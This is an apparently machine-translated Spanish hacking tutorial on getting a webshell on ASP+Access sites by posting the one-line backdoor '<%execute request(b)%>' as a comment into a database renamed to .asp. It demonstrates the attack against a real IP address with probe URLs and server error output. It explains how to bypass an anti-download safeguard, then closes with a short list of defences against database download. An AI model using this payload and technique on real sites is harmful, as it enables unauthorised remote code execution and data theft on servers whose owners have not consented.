Quizás con el desarrollo de la tecnología de seguridad de red, la calidad de los administradores esté mejorando. Cuando se utiliza el sistema access+asp, para evitar que se descargue la base de datos, se cambia el mdb a asp o asa. No hablemos de cambiar el sufijo directamente. Puede descargarlo directamente utilizando herramientas como Internet Express. De hecho, ya ha abierto la puerta a los intrusos. Los intrusos pueden utilizar la base de datos con el sufijo asp/asa para obtener directamente el webshell.
uno. Ideas
Todo el mundo sabe que <%%> es el identificador de un archivo asp, lo que significa que un archivo asp solo ejecutará el código entre <%%>. Todos los datos del sistema web access+asp se almacenan en el archivo de base de datos (archivo mdb). ), dado que el administrador cambió el archivo mdb a un archivo asp, si los datos que enviamos contienen <%%>, cuando accedamos a la base de datos asp, se ejecutará el código entre <%%>. Esto hace que solo enviemos código malicioso a la base de datos, por lo que la base de datos con el sufijo asp es nuestro webshell.
dos. Ejemplo
Simplemente encuentre un objetivo. Primero, revisemos la base de datos para ver si tiene un sufijo asp: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210.
devolver:
Copie el código de código de la siguiente manera:
Error del compilador de Microsoft VBScript '800a03f6'
Falta 'Fin'
/iisHelp/common/500-100.asp, línea 242
Error del motor de base de datos Microsoft JET '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp' no es una ruta válida. Determine si el nombre de la ruta está escrito correctamente y si está conectado al servidor donde está almacenado el archivo.
/test/conn.asp, línea 18
Enviamos: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp devuelve un montón de caracteres confusos, por lo que podemos descargar directamente la base de datos usando herramientas como Internet Express (no lo discutiremos). aquí). Regresamos a la página de inicio y vemos que hay una función de comentarios de los internautas. Registrémonos como usuario y publiquemos un comentario:
<%ejecutar solicitud(b)%>
De esta manera, escribimos el código asp: <%execute request(b)%> en la base de datos, luego la base de datos: es nuestro webshell. Enviar: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp Al final del código confuso vemos:
Copie el código de código de la siguiente manera:
/iisHelp/common/500-100.asp, línea 242
Error de tiempo de ejecución de Microsoft VBScript '800a000d'
El tipo no coincide: 'ejecutar'
/test/dlog/log_mdb/%29dlog_mdb%29.asp, línea 1266
Nota: Cuando enviamos código a la base de datos, el contenido del código no puede ser demasiado grande. Entonces usamos <%execute request(b)%>.
tres. Algunas otras preguntas e ideas.
1. Para la base de datos que cambió el sufijo a asp y agregó códigos asp ilegales como <%='a'-1%> a la base de datos para evitar por completo la descarga, porque contiene códigos asp ilegales, después de insertar nuestro código webshell Ejecutando solo mostrará el error del código ilegal anterior sin ejecutar el código de nuestro shell. Aunque esto puede prevenir ciertos ataques, todavía existen ciertos peligros ocultos, siempre que agreguemos código compatible con errores antes del código de error, podremos mostrar y ejecutar correctamente el código webshell que insertamos.
2. Para aquellos archivos que no han cambiado el sufijo, es decir, archivos mdb, podemos descargarlos directamente para obtener la contraseña de fondo. Después de ingresar al fondo, podemos usar la copia de seguridad de la base de datos para cambiar el sufijo a asp.
Resumen de los métodos anti-descarga de mdb
1: En iis6, si no se define una extensión, aparecerá un error 404 de archivo no encontrado al acceder.
Por lo tanto, puede nombrar arbitrariamente la base de datos con un nombre de archivo que nunca aparecerá para lograr un efecto seguro, como por ejemplo: xxxxx.xxxxxxxxxxx
2 Si la base de datos se coloca fuera del sitio web, nunca será accesible. Por ejemplo: e:/web/ es su sitio web
Luego ponga la base de datos en e:/
3. Como se mencionó anteriormente, cambie .mdb a .asp y al mismo tiempo vierta en una tabla especial que contenga <% caracteres binarios. De esta manera, al acceder al archivo, aparecerá un mensaje que indica que falta el carácter de cierre del script.
4. O cambie .mdb a .asp y ábralo con winhex al mismo tiempo. Puede encontrar que hay una parte larga de la cadena 00 después de 176. También puede evitar la descarga cambiándola a un fragmento de código asp a voluntad. , lo que no afectará la función de la base de datos. Por ejemplo:
<%
respuesta.write(acceso ilegal)
respuesta.fin()
%>
Ahora se descifrará agregar # y espacios en el nombre de la base de datos. Por ejemplo, # = <%35 y espacios = <%20.
Por lo que ya no es útil utilizarlos ahora. .
Si es tu propio servidor, configúralo en IIS:
Cree un nuevo archivo DLL en blanco y luego agregue la asignación en IIS. Seleccione la DLL que acaba de crear como archivo ejecutable, complete .mdb como extensión, guarde y reinicie el servicio IIS.